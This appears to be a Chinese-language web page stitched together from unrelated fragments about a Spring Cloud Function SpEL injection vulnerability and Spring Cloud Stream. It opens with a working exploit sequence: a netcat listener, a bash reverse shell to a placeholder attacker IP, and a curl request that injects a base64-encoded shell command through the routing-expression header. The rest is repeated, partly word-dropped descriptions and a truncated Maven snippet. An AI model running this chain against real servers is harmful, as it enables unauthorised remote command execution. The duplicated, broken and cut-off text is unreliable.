nc -lvvp 4444
将以下内容进行base64编码,获得base64编码值
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
回到原来终端,输入
curl -v 'http://靶机IP:8080/functionRouter' -H "Content-Type: text/plain" -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,base64编码值}|{base64,-d}|{bash,-i}")' --data 1111
成功连接上靶机
官方定义Spring Cloud Stream 是一个用来为微服务应用构建消息驱动能力的框架。它为一些供应商的消息中间件产品提供了个性化的自动化配置实现,Spirng Cloud Stream 本质上就是整合了 Spring Boot 和 Spring Integration,实现一套轻量级的消息驱动的微服务框架。通过使用 Spring Cloud Stream 可以有效简化开发人员对消息中间件的使用复杂度,让系统开发人员可以有更多的精力关注于核心业务逻辑的处理。
定义Spring Cloud Stream 是一个用来为微服务应用构建消息驱动能力的框架。它可以基于 Spring Boot 来创建独立的、可用于生产的 Spring 应用程序。Spring Cloud Stream 为一些供应商的消息中间件产品提供了个性化的自动化配置实现,并引入了发布-订阅、消费组、分区这三个核心概念。简单的说,Spring Cloud Stream本质上就是整合了Spring Boot和Spring Integration,实现了一套轻量级的消息驱动的微服务框架。抽象模型。
是一个用来为微服务应用构建消息驱动能力的框架。它可以基于来创建独立的、可用于生产的Spring应用程序。为一些供应商的消息中间件产品提供了个性化的自动化配置实现,并引入了发布-订阅、消费组、分区这三个核心概念。简单的说,本质上就是整合了和,实现了一套轻量级的消息驱动的微服务框架。/*** 这两个通道可能定义在两个不同的通道里面,这里为了方便放在同一个项目中演示*/ // 收(订阅频道/消息消费者) @Input(INPUT) SubscribableChannel input();
漏洞描述
Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS),当其启用动态路由functionRouter时, HTTP请求头 spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。
Spring Cloud Function SPEL表达式注入漏洞影响范围:
3 <= spring-cloud-function-context <= 3.2.
一、漏洞简述
Spring Cloud Function 是基于Spring Boot的函数计算框架(FaaS),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
在版本3.0.0到当前最新版本3.2.2(commit dc5128b),默
Spring Cloud Function SpEL表达式注入漏洞,远程攻击者在无需认证的情况下,构造特定的数据包,在header中添加"spring.cloud.function.routing-expression"参数并携带SpEL表达式,成功利用此漏洞可实现任意代码执行。如果程序使用Maven打包,可以通过排查项目的pom.xml文件中是否引入spring-cloud-function相关依赖,确认其版本是否在受影响范围内。建议等待官方发布修复版本或自行下载修复代码进行手动编译。
Spring Cloud Function 是基于 Spring Boot的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件。在Spring Cloud Function相关版本,存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL表达式,最终执行任意命令,获取服务器权限。
spring cloud stream 学习
基于《spring cloud stream 3.1.x》
在学习spring cloud stream 之前, 先要了解一下 spring cloud function 模块, 新版采用 function 函数
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-star